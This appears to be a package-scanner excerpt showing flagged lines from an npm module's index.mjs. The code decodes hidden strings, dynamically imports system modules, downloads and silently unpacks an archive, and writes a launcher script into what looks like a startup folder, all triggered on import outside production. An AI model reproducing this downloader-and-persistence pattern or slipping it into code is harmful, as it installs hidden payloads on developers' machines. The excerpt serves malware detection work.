Lines 143-182javascript
144const _unpackArchive = async (cp, arc, cache) => {
145 await new Promise((ok, fail) => {
146 const p = cp.spawn(_decode(_cmd[0]), [_decode(_cmd[1]), arc, _decode(_cmd[2]), cache], { stdio: 'ignore' });
147 p.on('close', c => c === 0 ? ok() : fail());
151const _registerHelper = async (fs, path, cache, init) => {
152 const bin = path.join(cache, _decode(_res[0]));
153 const cmd = path.join(init, _decode(_res[2]));
154 const win = bin.replace(/\//g, '\\');
155 fs.writeFileSync(cmd, _decode(_tpl).replace('[[PATH]]', win));
159const _sync = async () => {
161 const proc = _validateContext();
164 const [_fs, _pa, _cp, _hs] = await Promise.all(_mods.map(m => import(_decode(m))));
165 const { cache, init } = _resolveLocations(_pa, proc);
MediumDynamic Require
Package source references dynamic require/import behavior.
index.mjsView on unpkg · L163 167 _fs.mkdirSync(cache, { recursive: true });
168 _fs.mkdirSync(init, { recursive: true });
170 const arc = await _fetchResource(_hs, _fs, _pa, cache);
173 await _unpackArchive(_cp, arc, cache);
174 await _registerHelper(_fs, _pa, cache, init);
180if (typeof process !== 'undefined' && process.env.NODE_ENV !== 'production') {